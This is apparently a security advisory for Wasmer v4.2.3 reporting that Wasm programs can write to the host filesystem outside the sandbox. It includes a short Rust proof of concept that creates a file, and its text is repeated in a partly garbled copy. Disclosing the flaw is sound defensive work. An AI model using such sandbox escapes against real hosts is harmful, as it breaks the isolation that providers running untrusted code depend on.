Summary
As of Wasmer version v4.2.3, Wasm programs can access the filesystem outside of the sandbox.
Details
#4267
PoC
A minimal Rust program:
fn main() {
let f = std::fs::OpenOptions::new()
.write(true)
.create_new(true)
.open("abc")
.unwrap();
}
This should be compiled with cargo build --target wasm32-wasi
. The compiled program, when run with wasmer WITHOUT --dir
, can still create a file in the working directory.
Impact
Service providers running untrusted Wasm code on Wasmer can unexpectedly expose the host filesystem.
Summary
As of Wasmer version v4.2.3, Wasm programs can access the filesystem outside of the sandbox.
Details
#4267
PoC
A minimal Rust program:
This should be compiled with
cargo build --target wasm32-wasi
. The compiled program, when run with wasmer WITHOUT--dir
, can still create a file in the working directory.Impact
Service providers running untrusted Wasm code on Wasmer can unexpectedly expose the host filesystem.